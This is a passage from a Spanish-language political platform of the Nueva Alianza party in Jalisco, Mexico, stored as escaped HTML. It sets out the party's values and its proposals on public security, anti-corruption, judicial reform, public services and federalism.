los primeros pasos: el estado de fuerza creci\u00f3, pas\u00f3 de 1832 efectivos a 2583 en poco m\u00e1s de dos a\u00f1os. El n\u00famero de patrullas aument\u00f3, de 130 a 299 y otras 130 m\u00e1s que est\u00e1n en proceso de incorporaci\u00f3n. El presupuesto creci\u00f3, de 985 MDP a 1211 millones de pesos. Se dise\u00f1\u00f3 un nuevo modelo de patrullaje en cuadrantes para ser m\u00e1s eficaces.<\/p>\n<p>Sin embargo, no podemos estar satisfechos. Y debemos reconocer que a pesar de los esfuerzos que se puedan realizar desde los gobiernos municipales, la labor de la polic\u00eda en este nivel de gobierno es preventiva. Si bien con estas medidas se ha logrado aumentar la capacidad de detener a delincuentes, lo cierto es que el modelo del nuevo sistema de justicia penal, mal entendido e implementado, no ha sido lo \u00fatil que se requiere. Hay datos contundentes en el caso de Guadalajara. Se remitieron a la Fiscal\u00eda General del Estado de Jalisco en un a\u00f1o 3407 delincuentes y fueron liberados 3033. El 90% de los detenidos, est\u00e1n sueltos.<\/p>\n<p>Estamos de acuerdo con los principios garantistas que sustentan al nuevo sistema de justicia penal acusatorio. Han sido el dise\u00f1o y su implementaci\u00f3n por parte de las actuales administraciones en el Gobierno de Jalisco quienes han fallado. Ninguna estrategia de seguridad puede ser suficiente cuando vivimos en un pa\u00eds con un sistema que parece estar dise\u00f1ado para que los delincuentes est\u00e9n en la calle y no en la c\u00e1rcel.<\/p>\n<p>Para nosotros como fuerza pol\u00edtica, ser\u00e1 un principio fundamental y columna vertebral del cambio social que necesitamos, el dise\u00f1o e implementaci\u00f3n de un modelo de seguridad basado en tres elementos fundamentales: la seguridad ciudadana, la construcci\u00f3n de oportunidades y la disminuci\u00f3n de las desigualdades, la erradicaci\u00f3n de todas las formas de violencia hacia las mujeres, la defensa y promoci\u00f3n de los derechos humanos y la procuraci\u00f3n de justicia apegada de manera irrestricta a los principios de legalidad.<\/p>\n<p>\u00a0<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tINTRODUCCI\u00d3N \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/p>\n<p><strong>J<\/strong>alisco desde su origen, se ha caracterizado por ser un Estado con Municipios de gente pujante, visionaria, forjadora de Instituciones, que ha contribuido por generaciones a la construcci\u00f3n de un Estado libre, justo, pr\u00f3spero y plural, para satisfacer nuestras aspiraciones como ciudadanos, y aprovechar las ventajas que suscita la vida en sociedad, sin desconocer los problemas y conflictos que son esenciales para el desarrollo de la civilizaci\u00f3n humana. En y desde la educaci\u00f3n, se perfila hoy como un Estado que busca en la coparticipaci\u00f3n social, consolidar un proyecto educativo que trascienda hacia la b\u00fasqueda de la calidad con equidad. Un Estado pr\u00f3spero y con visi\u00f3n de futuro, con sustento en la educaci\u00f3n, nos define.<\/p>\n<p>Como Entidad Federativa, el compromiso con nuestro pa\u00eds est\u00e1 vinculado con el amor a \u00e9sta tierra, con la aportaci\u00f3n que como Estado realicemos al crecimiento nacional y como ciudadanos, compartir las grandezas que el futuro nos depara como Naci\u00f3n. Nuestra concepci\u00f3n de Estado integrante de la Federaci\u00f3n va m\u00e1s all\u00e1 de la participaci\u00f3n en las finanzas nacionales. Se integra a partir de la vinculaci\u00f3n a un mismo proyecto nacional, del amor a la diversidad de nuestro pa\u00eds y la visi\u00f3n de un objetivo que nos une: M\u00e9xico.<\/p>\n<p>En Nueva Alianza, nos anima el af\u00e1n responsable de construir un Estado fuerte, regido por el imperio de la ley y el buen gobierno, cuyos habitantes vivan en paz y armon\u00eda, en el disfrute y protecci\u00f3n de sus libertades individuales, econ\u00f3micas y pol\u00edticas. Aspiramos a un orden jur\u00eddico donde las leyes se cumplan y se apliquen. Creemos en una sociedad responsable de su libertad, donde cada individuo asuma su rol en el crecimiento social, y donde cada ciudadano nazca en un esquema de igualdad de oportunidades que dignifiquen su identidad.<\/p>\n<p>Reconocemos que el ejercicio del poder nos parece poner a prueba a cada instante, a trav\u00e9s de los hechos, valores y conceptos asociados a la vida colectiva y a la existencia de un conjunto reducido de personas que toman decisiones en nombre del resto de los miembros de la sociedad.<\/p>\n<p>Propugnamos por construir un Gobierno capaz de ofrecer oportunidades de desarrollo personal y bienestar para todos los habitantes, sin prebendas ni privilegios, como parte activa y constructiva de nuestra comunidad. Avanzamos en una meritoria ruta como colectivo humano, pero no estaremos satisfechos hasta erradicar la brecha que existe entre nuestras aspiraciones y nuestra realidad en t\u00e9rminos de libertades, justicia, prosperidad y pluralidad, que ya compromete el futuro de las pr\u00f3ximas generaciones.<\/p>\n<p>Nuestra visi\u00f3n de crecimiento se resume en lo siguiente: Que\u00a0 Jalisco crezca con todos. Que nuestro Estado, a la vuelta de unos a\u00f1os, se nutra de una pr\u00f3spera y educada sociedad, con una clase media floreciente, lejos de los niveles de pobreza actual que reflejan la incapacidad para alcanzar soluciones, con un ingreso per c\u00e1pita digno, como expresi\u00f3n de trabajo y aporte social de los mexicanos.<\/p>\n<p>En materia de prosperidad y justicia, nuestro Estado arrastra una deuda hist\u00f3rica al no ofrecer oportunidades para todos, como se manifiesta en el estado inaceptable de pobreza extrema en que viven muchos jaliscienses, reflejado en el \u00e9xodo masivo, interminable, que lastima familias, vidas, sentimientos, pueblos, comunidades, y que, en suma, lacera a nuestra sociedad.<\/p>\n<p>Este documento es parte activa del ideario pol\u00edtico de <strong><em>Nueva Alianza<\/em><\/strong>. Es una visi\u00f3n realista y propositiva para el Estado que queremos construir. Honrar la pol\u00edtica como v\u00eda para la soluci\u00f3n de los \u00a0problemas sociales; como compromiso con los ciudadanos, que depositan en nosotros su confianza al\u00a0 compartir este proyecto.<\/p>\n<p>En nuestro af\u00e1n de dignificar la pol\u00edtica, nos hemos dado la tarea de comenzar nuestro camino\u00a0\u00a0 manifestando el por qu\u00e9 aspiramos a participar activamente en los diferentes niveles de gobierno.<\/p>\n<p>Nos identifica plenamente con la ciudadan\u00eda el ser una expresi\u00f3n pol\u00edtica que busca una soluci\u00f3n a la problem\u00e1tica social que durante mucho tiempo hemos padecido. Creemos en la pol\u00edtica de la propuesta, el di\u00e1logo y el consenso.<\/p>\n<p>\u00a0A ustedes, los ciudadanos que d\u00eda con d\u00eda trabajan por el crecimiento de este Estado, les presentamos nuestras propuestas y les reiteramos nuestro compromiso.<\/p>\n<p>Para dar congruencia a las \u00a0propuestas vamos a hacer que nuestras acciones se conviertan en un camino para las actuales generaciones y un legado para las pr\u00f3ximas. Nos someternos al escrutinio de la gente y sirva este documento como fe de nuestro \u00a0compromiso.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tVALORES QUE SUSTENTAN NUESTRA PLATAFORMA \t\t\t\t\t<\/p>\n<p><strong>C<\/strong>omo un proyecto nacional, creemos en un Estado sustentado en dos valores esenciales: la libertad y la justicia. \u00c9stos deben guiar los fines de las instituciones y la organizaci\u00f3n social.<\/p>\n<ul>\n<li><strong>Libertad<\/strong><\/li>\n<\/ul>\n<p><strong>L<\/strong>a libertad individual es el valor fundamental. Es un derecho original e inherente al ser humano como individuo; es el sustento de su dignidad; resulta indispensable para que \u00e9ste pueda ser art\u00edfice de su destino y consiga su realizaci\u00f3n personal. Este valor resulta imprescindible para la prosperidad de una sociedad.<\/p>\n<p>La libertad implica el reconocimiento de la responsabilidad del individuo de conducir su propia vida, asumiendo las consecuencias de sus decisiones.<\/p>\n<p>La historia de la humanidad ha sido un constante af\u00e1n por trascender, por conseguir estados m\u00e1s altos de desarrollo personal y social, por manifestar el inter\u00e9s de consagrar el esp\u00edritu supremo de la libertad individual.<\/p>\n<ul>\n<li><strong>Justicia<\/strong><\/li>\n<\/ul>\n<p><strong>L<\/strong>a justicia es el patr\u00f3n que debe conducir todas las relaciones existentes en la sociedad. \u00c9sta es \u00a0el valor b\u00e1sico para la construcci\u00f3n del tejido social.<\/p>\n<p>Alcanza su m\u00e1xima expresi\u00f3n en una sociedad libre, donde se establece la igualdad de todos los ciudadanos frente a la ley. Todos tienen los mismos derechos y obligaciones; nadie puede estar por encima de la ley, independientemente de su condici\u00f3n pol\u00edtica, econ\u00f3mica o social.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\tUNA NUEVA FORMA DE HACER GOBIERNO\t\t\t\t\t<\/p>\n<ul>\n<li><strong>Gobierno Responsable<\/strong><\/li>\n<\/ul>\n<p><strong>L<\/strong>os Jaliscienses conformamos un Estado para vivir en libertad, en paz y seguros, para que en estas condiciones podamos conseguir nuestros prop\u00f3sitos individuales y sociales aprovechando las oportunidades que ofrece la vida en sociedad. Concedimos al Gobierno la potestad para que proteja nuestras vidas, propiedades y derechos, el fruto de nuestro trabajo y la soberan\u00eda de la Naci\u00f3n, garantizando siempre el ejercicio de nuestras libertades. \u00c9sta es la primera responsabilidad espec\u00edfica de los Poderes P\u00fablicos y constituye el criterio m\u00e1s elemental para juzgar su desempe\u00f1o.<\/p>\n<p><strong>Nueva Alianza<\/strong> promueve un gobierno m\u00e1s sensible a la soluci\u00f3n de la problem\u00e1tica\u00a0 social,\u00a0 m\u00e1s rector y conciliador en medio de un sistema de m\u00faltiples iniciativas del gobierno y de la sociedad a trav\u00e9s de sus representantes, con ello ser\u00e1 un Gobierno fuerte, con una mayor capacidad integradora de los distintos y, con frecuencia, encontrados intereses que se presentan en el normal desenvolvimiento del quehacer de instituciones, grupos y personas. El Gobierno debe orientar la libre competencia y la capacidad creadora de la propiedad y la iniciativa privada para que cumpla sus funciones\u00a0 de beneficio social. Asimismo, el Gobierno debe convertirse en el actor responsable de atraer inversi\u00f3n a nuestro Estado. Es fundamental que quienes gobiernen se conviertan en promotores, nacionales e internacionales, de las ventajas de invertir en nuestro Estado, a fin de convertirse en promotores activos de los beneficios que como Estado representamos.<\/p>\n<ul>\n<li><strong>Consolidar un Estado de Derecho <\/strong><\/li>\n<\/ul>\n<p><strong>E<\/strong>l Estado de Derecho radica en el imperio de la ley en todo el territorio, que obliga tanto a gobernantes como a particulares. La condici\u00f3n indispensable de un Estado de Derecho es la igualdad de todos los ciudadanos frente a la ley, es decir, la observancia de la noci\u00f3n m\u00e1s elemental de justicia. La condici\u00f3n subsecuente es el respeto, o en su caso, la aplicaci\u00f3n de la normatividad establecida. Sin estas condiciones, el Estado de Derecho carecer\u00eda de toda sustancia en el acontecer social.<\/p>\n<p>Bajo estas premisas, la aplicaci\u00f3n y vigencia del Estado de Derecho requiere de un Gobierno fuerte, donde se manifieste en toda su plenitud la divisi\u00f3n y el equilibrio entre los poderes.<\/p>\n<p>\u00a0A su vez, el predominio del Estado de Derecho exige la consolidaci\u00f3n del Poder Legislativo como \u00f3rgano garante de la voluntad ciudadana que tiene su m\u00e1xima expresi\u00f3n en el orden constitucional y el cumplimiento de las funciones del Poder Ejecutivo de acuerdo con el programa de gobierno por el que fue electo.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>entiende que para la concreci\u00f3n real de un Estado de Derecho es necesario, no s\u00f3lo el equilibrio entre los poderes, sino la interacci\u00f3n de \u00e9stos con la sociedad. Lo que se traduce en una cultura de respeto a la ley, bajo el amparo y la respuesta de las instituciones pol\u00edticas en una sana convivencia entre representante y representado.<\/p>\n<ul>\n<li><strong>Recuperar la Confianza de las Instituciones P\u00fablicas <\/strong><\/li>\n<\/ul>\n<p><strong>D<\/strong>urante los procesos de renovaci\u00f3n del andamiaje legal y estructural de las diferentes Instituciones p\u00fablicas en el Estado, Nueva Alianza apuesta a la recuperaci\u00f3n de la confianza en las Instituciones que han sido pilares fundamentales para el equilibrio y gobernabilidad por d\u00e9cadas, acci\u00f3n que permitir\u00eda desarrollar una mayor participaci\u00f3n pol\u00edtica y democr\u00e1tica. En el proceso de las reformas aprobadas y mejoradas por el legislativo, Nueva Alianza fue fundamental en la formaci\u00f3n de mayor\u00edas.<\/p>\n<p>Sin embargo hace falta mucho por hacer para que las reformas garanticen una incidencia efectiva de la ciudadan\u00eda y para ello debemos sentar bases s\u00f3lidas en materia de participaci\u00f3n ciudadana y su vinculaci\u00f3n con la tarea de gobierno.<\/p>\n<p>El fortalecimiento del esquema institucional se relaciona directamente con una mayor capacidad del Estado para atender las necesidades sociales. En el actual escenario sociopol\u00edtico se requieren reformas que posibiliten al Gobierno cumplir cabalmente con sus funciones.<\/p>\n<p>Bajo estas premisas, es indispensable la generaci\u00f3n de un modelo institucional que reorganice la acci\u00f3n gubernamental, a fin de contar con instituciones capaces de disminuir los grandes costos en que incurren diversos sectores del \u00e1mbito p\u00fablico.<\/p>\n<p>En este sentido, es importante considerar que las instituciones pueden generar modelos de incentivos y acciones que fomenten el desarrollo pol\u00edtico, econ\u00f3mico y social del Estado. El adecuado dise\u00f1o institucional favorece que todos los sectores participen activamente en el dise\u00f1o de las pol\u00edticas p\u00fablicas y garanticen condiciones atractivas para la inversi\u00f3n y la participaci\u00f3n ciudadana.<\/p>\n<p>En Jalisco existen dos problemas sustanciales relacionados con las instituciones p\u00fablicas: la corrupci\u00f3n y la ineficiencia. La corrupci\u00f3n afecta directamente la actuaci\u00f3n de los organismos, pues distorsiona el engranaje estructural de la instituci\u00f3n, vulnera el principio de legalidad y desv\u00eda recursos p\u00fablicos hacia intereses privados, despojando a la sociedad de los beneficios de la acci\u00f3n p\u00fablica.<\/p>\n<p>Por su parte la ineficiencia acarrea el desperdicio de recursos. Los aspectos caracter\u00edsticos de la ineficiencia institucional se reflejan en los altos costos de transacci\u00f3n, caracterizados, principalmente, por una burocracia pesada y por procesos complejos en los tr\u00e1mites ante las instituciones p\u00fablicas. Esta situaci\u00f3n afecta los incentivos para trabajar, para transferir recursos y para mantener y mejorar dichos recursos.<\/p>\n<p>Por todo lo anterior <strong><em>Nueva Alianza <\/em><\/strong>considera que para \u00a0recuperar y el fortalecer la confianza de las instituciones debe basarse en cuatro \u00a0caracter\u00edsticas fundamentales de organizaci\u00f3n para consolidar un buen dise\u00f1o gubernamental en nuestro Estado.<\/p>\n<ol>\n<li><strong>Transparencia en la Rendici\u00f3n de Cuentas<\/strong><\/li>\n<\/ol>\n<p><strong>E<\/strong>llo implica instituciones responsables ante los ciudadanos que, de manera directa, act\u00faen en pro de los intereses de la sociedad. Se trata de crear instituciones pol\u00edticamente responsables, capaces de formular e instrumentar pol\u00edticas p\u00fablicas sustantivamente valiosas. En este sentido es imprescindible el dise\u00f1o de una estructura que consolide el servicio civil de carrera al interior de la Administraci\u00f3n P\u00fablica y, en la misma medida, un esquema que aplique la normatividad a los funcionarios que no est\u00e1n respondiendo con los objetivos fijados por la Administraci\u00f3n. Para ello deben instrumentarse mecanismos prospectivos y retrospectivos de rendici\u00f3n de cuentas que permitan que en todo momento los funcionarios respondan por las acciones positivas o negativas en el servicio p\u00fablico. Esto se traduce en crear un mecanismo en cada dependencia de gobierno, de premios a los funcionarios que cumplen correctamente su labor, y de sanciones a quienes no sean conscientes que su obligaci\u00f3n es resolver los problemas ciudadanos; estos mecanismos depender\u00e1n de la evaluaci\u00f3n que los ciudadanos hagan de los funcionarios.<\/p>\n<ol>\n<li><strong>Instituciones Receptivas a los Ciudadanos<\/strong><strong> <br \/><\/strong><\/li>\n<\/ol>\n<p><strong>E<\/strong>sto se traduce en una eficaz respuesta a las demandas ciudadanas. <strong><em>Nueva Alianza <\/em><\/strong>considera indispensable adaptar los principios de la \u201cNueva Gesti\u00f3n P\u00fablica\u201d al fortalecimiento institucional, sobre la base de la respuesta satisfactoria a las demandas sociales. Esto implica la transmisi\u00f3n de cuatro principios determinantes: \u00a0\u00e9nfasis en la gente, liderazgo participativo, estilos de trabajo innovadores y, \u00a0fuerte orientaci\u00f3n hacia el ciudadano, considerando que lo sustancial es adaptar\u00a0 la\u00a0 actuaci\u00f3n burocr\u00e1tica \u00a0\u00a0a trav\u00e9s de una Legislatura eficiente y cercana a la ciudadan\u00eda, para ello necesitamos:<\/p>\n<ul>\n<li>Construir lazos permanentes de los legisladores con la ciudadan\u00eda, que informen y sean evaluados.<\/li>\n<li>Impulsar la reducci\u00f3n de gastos de operaci\u00f3n del legislativo.<strong> <br \/><\/strong><\/li>\n<\/ul>\n<ol>\n<li><strong>Eficiencia<\/strong><\/li>\n<\/ol>\n<p><strong>L<\/strong>as instituciones deben ser capaces de canalizar de manera correcta y \u00a0adecuada los recursos p\u00fablicos, obteniendo el mayor rendimiento de recursos para que puedan orientarse al cumplimiento de otras funciones necesarias para el desarrollo de la econom\u00eda del Estado.<\/p>\n<ol>\n<li><strong>Legalidad<\/strong><\/li>\n<\/ol>\n<p><strong>B<\/strong>ajo los principios de honradez e inter\u00e9s p\u00fablico, es indispensable considerar que las leyes que rigen la acci\u00f3n institucional deben representar el marco de actuaci\u00f3n de la funci\u00f3n p\u00fablica. Es evidente que dicha regulaci\u00f3n debe orientarse a eliminar barreras que impidan concretar la eficiencia, sin embargo, s\u00ed es fundamental expresar en ese marco un esquema de derechos y obligaciones para la ciudadan\u00eda y funcionarios p\u00fablicos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tPROTECCI\u00d3N A LA CIUDADAN\u00cdA \t\t\t\t\t<\/p>\n<ul>\n<li><strong>Reformas a Nuestro Sistema Jur\u00eddico<\/strong><\/li>\n<\/ul>\n<p><strong>S<\/strong>e deben proponer reformas necesarias<em>\u00a0 <\/em>para lograr una reingenier\u00eda institucional que abarque al Poder Ejecutivo, Legislativo y Judicial. De todos ellos es quiz\u00e1s este \u00faltimo el de mayor importancia, pues el sistema de impartici\u00f3n de justicia es determinante para asegurar el correcto funcionamiento de otros sectores importantes para la sociedad.<\/p>\n<p>Por estos motivos la reforma al Poder Judicial debe considerarse el aspecto m\u00e1s importante en el dise\u00f1o institucional, para impulsar las grandes reformas sociales del Estado. Si una sociedad se somete al imperio de la ley y, mediante ello, a la autoridad de los jueces como \u00f3rganos imparciales de impartici\u00f3n de justicia, estaremos en el camino para acabar con las pr\u00e1cticas de corrupci\u00f3n y las distorsiones del sistema que tanto afectan a la utilizaci\u00f3n correcta de los recursos.<\/p>\n<p>En este sentido hay que tener muy presente la importancia que representa, en t\u00e9rminos de atracci\u00f3n de inversi\u00f3n, contar con un sistema judicial honesto y veraz que asegure a las personas que las leyes ser\u00e1n respetadas.<\/p>\n<p>Es fundamental que Jalisco cuente con un Poder Judicial transparente, eficaz y que garantice la certeza en la aplicaci\u00f3n de la ley, pues este factor ser\u00e1 determinante del crecimiento econ\u00f3mico, y de esta manera, garantizaremos una nueva cultura de respeto a la ley.<\/p>\n<p>En este sentido existen algunas v\u00edas en las que debe acentuarse una reforma a dicho organismo y comenzar una discusi\u00f3n abierta en la materia:<\/p>\n<ul>\n<li>Vigilar la ejecuci\u00f3n de la reforma judicial, de un sistema persecutorio a un sistema acusatorio y adversarial, en el que se parta de la presunci\u00f3n de inocencia del acusado y la obligaci\u00f3n de la prueba recaiga en la autoridad, en juicios p\u00fablicos, transparentes, obligadamente presididos por un juez.<\/li>\n<li>Capacitaci\u00f3n y preparaci\u00f3n de los jueces.<\/li>\n<li>Reforma a las leyes que rigen la vida interna de los tribunales, a fin de fomentar un sistema meritocr\u00e1tico, donde los mejores jueces sigan creciendo en la carrera judicial.<\/li>\n<li>Transparencia en el accionar judicial.<\/li>\n<li>Transparencia en investigaci\u00f3n y persecuci\u00f3n de los delitos.<\/li>\n<li>Crear un observatorio ciudadano en el que se d\u00e9 seguimiento a la aplicaci\u00f3n de la reci\u00e9n aprobada Ley del Sistema Anticorrupci\u00f3n del Estado de Jalisco.<\/li>\n<\/ul>\n<p><strong>Combate a la Corrupci\u00f3n<\/strong><\/p>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>considera que una de las amenazas a las cuales se enfrenta nuestro Estado, adem\u00e1s del crimen organizado y la violencia, es la corrupci\u00f3n. Este problema debe ser eliminado desde sus cimientos para otorgarle al sistema pol\u00edtico la credibilidad y legitimidad que requiere de manera urgente.<\/p>\n<p>El fortalecimiento de nuestras instituciones es el veh\u00edculo para una mejor vigilancia contra la corrupci\u00f3n.<\/p>\n<p>\u00a0La defensa irrestricta a la libertad de prensa, y de expresi\u00f3n en general, contribuye a la transparencia y a dar la posibilidad a la sociedad de ser vig\u00eda de los \u00f3rganos que las gobiernan y de los funcionarios que administran los asuntos p\u00fablicos. Un combate efectivo a la corrupci\u00f3n defiende las libertades p\u00fablicas, la transparencia de los organismos gubernamentales y la participaci\u00f3n de los ciudadanos.<\/p>\n<ul>\n<li><strong>Seguridad P\u00fablica<\/strong><\/li>\n<\/ul>\n<p><strong>U<\/strong>na de las prioridades del gobierno es garantizar el orden p\u00fablico, con respeto a las libertades y derechos de los mexicanos.<\/p>\n<p>Por seguridad p\u00fablica <strong><em>Nueva Alianza <\/em><\/strong>entiende todo el conjunto formado por leyes, autoridades e instituciones que se ordenan en un sistema que tiene como funci\u00f3n la prevenci\u00f3n y el castigo del delito.<\/p>\n<p>En este sistema deben coordinar acciones las fuerzas polic\u00edacas de todos los niveles, las instituciones especializadas en la persecuci\u00f3n del delito, los legisladores y la sociedad civil como corresponsable en la denuncia y prevenci\u00f3n del delito.<\/p>\n<p>En consecuencia, <strong><em>Nueva Alianza <\/em><\/strong>propone:<\/p>\n<ul>\n<li>Fomentar la participaci\u00f3n ciudadana a trav\u00e9s de la denuncia.<\/li>\n<li>Dar atenci\u00f3n, seguimiento y protecci\u00f3n eficiente a quien denuncie, as\u00ed como dar soluci\u00f3n al problema denunciado.<\/li>\n<li>Fomentar la atenci\u00f3n a v\u00edctimas y familiares, brindando apoyo psicol\u00f3gico y de formaci\u00f3n preventiva con el objetivo de restablecer en lo posible la normalidad en sus vidas y neutralizar vulnerabilidades.<\/li>\n<li>Defender el inter\u00e9s de las v\u00edctimas, con equidad entre las partes y con sistemas alternativos de justicia, de modo que ciertos delitos puedan resolverse mediante acuerdos entre las partes, cuando esto no implique riesgos para la sociedad.<\/li>\n<li>Promover diferentes estrategias de difusi\u00f3n a la ciudadan\u00eda acerca de\u00a0 las etapas del \u00a0\u00a0procedimiento de denuncia y\u00a0 su seguimiento, y de los derechos de las partes involucradas.<\/li>\n<li>Agilizar los tr\u00e1mites burocr\u00e1ticos.<\/li>\n<li>Invertir en el sistema educativo en todos sus niveles, asegurando as\u00ed la concientizaci\u00f3n adecuada de la sociedad sobre su corresponsabilidad en la eliminaci\u00f3n y prevenci\u00f3n de la delincuencia.<\/li>\n<li>Dotar a los cuerpos polic\u00edacos de la \u00faltima tecnolog\u00eda disponible para el combate al crimen organizado.<\/li>\n<li>Hacer obligatoria la capacitaci\u00f3n profesional de todos los cuerpos polic\u00edacos.<\/li>\n<li>Mejorar el marco legislativo en materia de readaptaci\u00f3n social.<\/li>\n<li>Impulsar pol\u00edticas p\u00fablicas y direccionar esfuerzos presupuestales, con un enfoque integral, que contribuyan a disminuir la inseguridad, violencia e impunidad.<\/li>\n<li>Transparentar las actividades y las erogaciones de las fuerzas de seguridad p\u00fablica.<\/li>\n<\/ul>\n<p>En conclusi\u00f3n, <strong><em>Nueva Alianza <\/em><\/strong>propone una efectiva pol\u00edtica de \u00a0prevenci\u00f3n y erradicaci\u00f3n \u00a0de la delincuencia y la violencia. Adem\u00e1s, la intervenci\u00f3n del Gobierno para hacer posible el equilibrio entre la eficiente sanci\u00f3n de las conductas ilegales y el respeto a las garant\u00edas constitucionales de los ciudadanos y la necesidad de promover, en materia de prevenci\u00f3n del delito la m\u00e1s amplia participaci\u00f3n de la sociedad civil.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tMEJORA EN LA PRESTACI\u00d3N DE  SERVICIOS P\u00daBLICOS\t\t\t\t\t<\/p>\n<ul>\n<li><strong>Gobierno Eficiente<\/strong><\/li>\n<\/ul>\n<p><strong>P<\/strong>ara su adecuado funcionamiento, la vida en sociedad requiere de un gobierno que vele y gestione los asuntos de inter\u00e9s p\u00fablico de la colectividad. \u00c9ste debe conducirse con una estructura burocr\u00e1tica m\u00ednima y competente, que cumpla cabalmente con las funciones de orden p\u00fablico establecidas por las leyes y que realice sus actividades con eficiencia, transparencia y honestidad, sujeta a una rigurosa rendici\u00f3n de cuentas.<\/p>\n<p>El fin \u00faltimo de los \u00f3rganos del Poder P\u00fablico del Estado es la promoci\u00f3n del bien com\u00fan o del llamado inter\u00e9s p\u00fablico. Para ello, deben proteger la vida, la propiedad y los derechos de los individuos junto con la soberan\u00eda de la Naci\u00f3n.<\/p>\n<p>La consecuci\u00f3n del inter\u00e9s p\u00fablico requiere que el Poder P\u00fablico, como \u00f3rgano de la colectividad, promueva las acciones necesarias para conseguir la armon\u00eda social y las condiciones materiales de la justicia, la libertad y la prosperidad. Las instituciones creadas deben asegurar una separaci\u00f3n y cooperaci\u00f3n eficiente de las responsabilidades p\u00fablicas y privadas.<\/p>\n<p>Uno de los objetivos del Gobierno es la prestaci\u00f3n de servicios a trav\u00e9s de la gesti\u00f3n p\u00fablica. Sin embargo, prevalece un sentimiento de insatisfacci\u00f3n generalizado en nuestro Estado debido a que los servicios p\u00fablicos suelen ser vistos como insuficientes, de mala calidad, con p\u00e9sima atenci\u00f3n al ciudadano y caracterizados por su corrupci\u00f3n e ineficiencia, entre otros.<\/p>\n<p>Es indispensable lograr un Gobierno cercano a los ciudadanos, que sirva como instrumento para potenciar y garantizar el ejercicio de las libertades civiles, pol\u00edticas, econ\u00f3micas y culturales con responsabilidad y conciencia social. Creemos que un Gobierno al alcance de cada individuo es una de las necesidades fundamentales de los Jaliscienses y un adeudo de legitimidad de las autoridades frente a los ciudadanos.<\/p>\n<p>En la construcci\u00f3n de un gobierno eficiente y cercano al ciudadano, es necesario que se entienda a la administraci\u00f3n p\u00fablica como una entidad capaz de proveer eficientemente respuestas concretas a las necesidades de la poblaci\u00f3n.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>como un Partido Pol\u00edtico liberal, joven e incluyente trabajar\u00e1 en la construcci\u00f3n de un ambiente de <em>gobernabilidad <\/em>que fortalezca a las instituciones y la sociedad civil con la finalidad de garantizar un ejercicio de gobierno m\u00e1s eficiente, m\u00e1s plural, m\u00e1s transparente, que rinda cuentas, fortalezca el Estado de Derecho, que sea m\u00e1s participativo y m\u00e1s democr\u00e1tico.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<ul>\n<li><strong>Gobierno Promotor y Garante del Desarrollo Social<\/strong><\/li>\n<\/ul>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>entiende que el Gobierno tiene responsabilidades inalienables como la seguridad p\u00fablica, el cuidado y optimizaci\u00f3n de recursos econ\u00f3micos y fiscales, la salud p\u00fablica, el financiamiento de la educaci\u00f3n y perfeccionamiento de las estructuras de comunicaci\u00f3n y servicio que posibiliten el crecimiento de la industria. Estas tareas pueden ser compensadas con la participaci\u00f3n de personas y sociedades privadas que deber\u00e1n contribuir a las l\u00edneas program\u00e1ticas trazadas por el Gobierno.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>reconoce que la participaci\u00f3n del Gobierno en actividades productivas y de servicio debe centralizarse a su papel de garante de los derechos del consumidor, y no intervenir en el mercado, salvo en los casos de los grupos vulnerables, donde evidentemente, el Gobierno debe centralizar sus esfuerzos, a fin de dotar a estos grupos de las condiciones necesarias para incorporarse al mercado, y as\u00ed, al crecimiento econ\u00f3mico y personal.<\/p>\n<p>En este sentido, la acci\u00f3n p\u00fablica de un gobierno eficiente implica la promoci\u00f3n continua de inversi\u00f3n, a fin de generar las mejores condiciones de empleo para la ciudadan\u00eda. De la misma forma, sin intervenir en los fen\u00f3menos de mercado, debe asegurar la eliminaci\u00f3n de barreras que obstaculicen las libertades econ\u00f3micas y de esta manera, generar una econom\u00eda liberalizada, donde los recursos obtengan su valor adecuado, haciendo eficiente la producci\u00f3n social.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>cree que la pol\u00edtica asistencial de los gobiernos, para subsanar las condiciones de marginaci\u00f3n de amplios sectores sociales, debe estar respaldada por un eficaz crecimiento econ\u00f3mico para no comprometer recursos p\u00fablicos que deben garantizar servicios a toda la sociedad.<\/p>\n<p>En ese sentido los \u00f3rganos del poder p\u00fablico no deben interferir en el funcionamiento del sistema de precios, ya que atentar\u00edan contra uno de los mecanismos para el\u00a0 buen desempe\u00f1o del mercado, que nos orienta hacia d\u00f3nde dirigir los recursos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tFORTALECER EL SISTEMA FEDERAL MEXICANO\t\t\t\t\t\t<\/p>\n<p><strong>L<\/strong>a complicada geograf\u00eda nacional y el desarrollo productivo desigual de las entidades federativas y de centros urbanos o industriales dentro de ellas, han generado diferencias importantes entre regiones que se profundizaron bajo el cobijo de una tradici\u00f3n pol\u00edtica centralizada en las instituciones federales de la capital del pa\u00eds.<\/p>\n<p>El crecimiento desigual del pa\u00eds ha ocasionado que existan diferencias sustanciales que necesitan ser consideradas al momento de realizar la planeaci\u00f3n de pol\u00edticas de crecimiento acordes a las necesidades locales. Es por esta raz\u00f3n que en <strong><em>Nueva Alianza <\/em><\/strong>estamos convencidos de la necesidad de fortalecer el sistema federal de M\u00e9xico y trasladar la gran mayor\u00eda de las decisiones y obligaciones a las entidades federativas, toda vez que los gobiernos estatales y municipales tienen mayor capacidad de responder a las necesidades locales.<\/p>\n<p>A trav\u00e9s del federalismo puede darse soluci\u00f3n a la falta de atenci\u00f3n a problemas en zonas econ\u00f3micamente menos favorecidas y enfocar los esfuerzos y recursos para promover condiciones de mayor igualdad para los Estados y sus habitantes.<\/p>\n<p>En <strong><em>Nueva Alianza <\/em><\/strong>estamos cansados del desperdicio de recursos humanos, materiales y financieros que ocasiona la burocratizaci\u00f3n de la administraci\u00f3n p\u00fablica centralizada, que ha terminado por deshumanizarse y por servir al Gobierno en lugar de la sociedad y los 